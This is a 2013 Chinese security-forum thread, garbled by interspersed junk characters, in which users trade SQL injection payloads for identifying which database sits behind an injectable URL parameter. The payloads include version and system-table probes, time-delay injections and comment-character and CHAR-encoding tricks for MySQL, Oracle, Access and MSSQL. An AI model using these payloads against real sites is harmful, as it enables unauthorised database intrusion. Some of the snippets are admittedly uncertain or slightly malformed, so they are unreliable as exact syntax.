一个注射点如何最快速确认是什么类型数据库
+ u* v3 C2 K- [+ j$ L9 k, d9 Y/ \xsser (十根阳具有长短!!) | 2013-02-05 12:36
1 k2 |- f1 A. J% C6 }' V假设这么一个注射点:
7 r9 E5 h' l V6 \4 g; Jshow.html?id=2
9 Y' ^9 E: S' U' @, f5 ^mysql:id=2 and version()>0
! M, ?& P3 I/ S+ h/ zoracle:id=2 and '1'||'1'='116 ?8 V9 `& a1 j F( I" q
其他的欢迎补充* v# b p( I/ g
1#' \. X5 c S; t; k% l' J
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47+ i% b) M H) R1 p" K+ j+ i. v! q! V
Access:
) u: W( D: [% O7 BaNd aSc(cHr(97))=971 @. h, t& E2 }7 T- `- O0 _( A+ d; x( |
and exists(select id from MSysAccessObjects)
* \& W$ Q1 f, R3 H) tSQL Server:
& M5 {; a5 b7 L* F0 i1 gand exists(select id from sysobjects)+ E/ M3 ^# ]8 B& X
and length(user)>0
5 V s) t: e. g" _7 EMySQL:
1 c1 A$ h( E0 V% {$ M. \' \and length(user())>0- T5 ^" }/ @# \4 H: V
2#
) @* j% S2 ^4 _1 `3 R2 \& s/ F5 bxsser (十根阳具有长短!!) | 2013-02-05 12:48
+ k. t% y" d2 G5 v4 K@upload 如果这些都不是呢…- e( a# H0 W/ S* x0 C3 n b# H; @
3#7 v5 |. Z, c+ ~
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
3 l3 T( A0 W o1 J: B@xsser 不快速的,延时注入
$ D2 z! \' c; L/ w) o6 B不知道这样写对不对
R8 e/ O6 Q; Y" \5 ~mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'/ @' M& M3 x9 ]) Y& y( j3 F# W% z$ X
mysql:id=2 and select benchmark(1e8,current_date());, d0 j: | K- `
4#
6 C/ F! h* a9 s8 n3 B4 x1 ?upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10! ~+ P2 |4 @* ]; n/ x
最快的貌似是看报错信息
/ t1 O5 r Q" H2 [, noracle error
3 h" q" _% o! Y+ w* M% B+ w bmssql error. V& t: w; t' t9 s, F& Y- ^/ M0 }
mysql error
5 e! ]# d( }. z5#
! d. O" A& ^' M3 I( G- X9 bNimda (你们都是坏银~) | 2013-02-05 13:14) c& `. p: }9 [9 a$ z6 X5 _
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
- h$ @1 y9 [3 I! t8 N6#" u$ R& z, W( w8 z* O |7 |
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:212 U/ l% o& g# y, E5 r$ f
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:5 S6 U: r% q5 V' B* U9 a, |# s
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
`& P& E% J1 u1 {/ s“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
$ E4 e) ?2 u7 b k8 _7#9 T! O; E, f3 o3 @9 D/ w8 B
_Evil (HackEnd) | 2013-02-05 13:33. Y' k/ c& [! n2 T" c+ u
PostgreSQL
# `1 A8 [( T$ k" f$ q8#
! s+ ? x9 }: r3 }$ [8 @upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42: Y" j3 @" |# x2 `. s4 w/ @
切换编码 and 1=1
9 k. ? S6 ?" F6 Y% O2 Yoracle:" S( q$ c- ~2 p- w
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)0 [* T9 q; Z7 t* W2 k2 L
mssql:% I1 x# O/ ^# k7 {2 W2 B: F, f
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
9 P$ n6 [3 \, y8 Vmysql:6 _5 r9 l) g* e% i
CHAR(97, 110, 100, 32, 49, 61, 49)
+ z; Z Q: g! v8 ]' G+ r9#: Q- m; ]+ i& t0 c
xsser (十根阳具有长短!!) | 2013-02-05 14:31- W, f" c0 Q/ U2 C
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?* K7 Q) s$ g/ |2 ~( Y4 ~" ]% _& j% s
10#/ g% {# s/ `+ C, B- e
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46; L' ^ q, n1 E- z8 v
@xsser 是奇葩数据库类型的么?
" z1 ]% o& Z0 e5 ?/ K根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
' P& E4 w# o- C1.是否可以使用特定的函数来判断,该数据库特有的
z% s" Y5 v# ]7 Q3 y2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等 `! ]5 J3 k/ E5 L. m2 l! j
3.是否可以编码查询% s: e. m7 K" j1 w' h* ]
4.是否显可以利用错信息
5 z# R+ @- U; M+ k5.是否存在数据库某些特性辅助判断
4 w& u8 @* ~& J' a5 f个人见解
" q! Q( n9 J: w11#
' |8 R w' z, W4 `) ]1 @) |5 i! A- w小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
2 P. I/ d# n; `: X; T已收藏,mssql可以直接看到错误提示的吧~
( t1 m; i$ q0 |$ P8 l0 R% d12#
$ W9 _3 U$ u0 D$ o4 BPasser_by | 2013-02-05 15:098 [$ z9 e$ w5 {
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。 ]2 Z* W+ e1 Q! B) C/ |
from:http://zone.wooyun.org/content/260 |